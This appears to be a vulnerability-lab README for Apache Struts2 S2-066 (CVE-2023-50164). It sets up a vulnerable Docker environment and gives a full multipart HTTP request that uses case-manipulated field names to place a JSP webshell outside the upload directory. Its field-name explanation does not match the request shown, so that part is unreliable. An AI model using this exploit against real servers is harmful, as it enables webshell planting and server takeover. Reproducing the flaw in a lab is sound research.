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+# Struts2 S2-066 Upload Path Traversal (CVE-2023-50164)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Apache Struts2 is a popular open-source web application framework for developing Java EE web applications. It uses and extends the Java Servlet API to encourage developers to adopt a model–view–controller (MVC) architecture. The framework provides developers with a rich set of tags and utilities to create enterprise-ready web applications that are easy to maintain and extend.
+
+Apache Struts2 S2-066 is a path traversal vulnerability that exists in the file upload functionality. The vulnerability allows attackers to upload files outside the intended upload directory by manipulating the form field name case.
+
+In Struts2's file upload processing, the framework normally only retains the basename of uploaded files to prevent path traversal. However, due to a logic flaw in the processing, attackers can bypass this protection by:
+
+1. Using a form field with an uppercase first letter (e.g., "Upload" instead of "upload")
+2. Providing a separate form field with the desired path traversal filename
+
+This allows the unprocessed filename to override the basename protection, resulting in successful path traversal.
+
+References:
+
+- <https://cwiki.apache.org/confluence/display/WW/s2-066>
+- <https://y4tacker.github.io/2023/12/09/year/2023/12/Apache-Struts2-%E6%96%87%E4%BB%B6%E4%B8%8A%E4%BC%A0%E5%88%86%E6%9E%90-S2-066/>
+
+## Environment Setup
+
+Execute the following command to start a web server written in Struts2 2.5.32:
+
+```
+docker compose up -d
+```
+
+After the environment is started, visit `http://your-ip:8080` to access the application, which is a simple file upload page.
+
+## Vulnerability Reproduce
+
+First, try to upload a JSP script to the normal upload directory:
+
+![Normal Upload](1.png)
+
+Although the file is uploaded successfully, the JSP script cannot be executed in the upload directory due to server configuration:
+
+![Execution Failed](2.png)
+
+Exploit the S2-066 vulnerability to upload the file outside the `upload/` directory using the following request:
+
+```
+POST /index.action HTTP/1.1
+Host: localhost:8080
+Accept-Encoding: gzip, deflate, br
+Accept: */*
+Accept-Language: en-US;q=0.9,en;q=0.8
+User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
+Connection: close
+Cache-Control: max-age=0
+Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryl6ZFZPznNSPZOFJF
+Content-Length: 331
+
+------WebKitFormBoundaryl6ZFZPznNSPZOFJF
+Content-Disposition: form-data; name="File"; filename="shell.jsp"
+Content-Type: text/plain
+
+<%
+  out.println("hello world");
+%>
+------WebKitFormBoundaryl6ZFZPznNSPZOFJF
+Content-Disposition: form-data; name="fileFileName"
+
+../shell.jsp
+------WebKitFormBoundaryl6ZFZPznNSPZOFJF--
+```
+
+Note the key elements in the exploit:
+
+- The form field name is "Upload" (first letter uppercase)
+- A separate "uploadFileName" field contains the path traversal "../shell.jsp"
+
+![Successful Upload](3.png)
+
+The JSP file is now uploaded outside the restricted upload directory and can be executed:
+
+![Webshell Execution](4.png)
+
+You can now access the webshell at `http://your-ip:8080/shell.jsp`.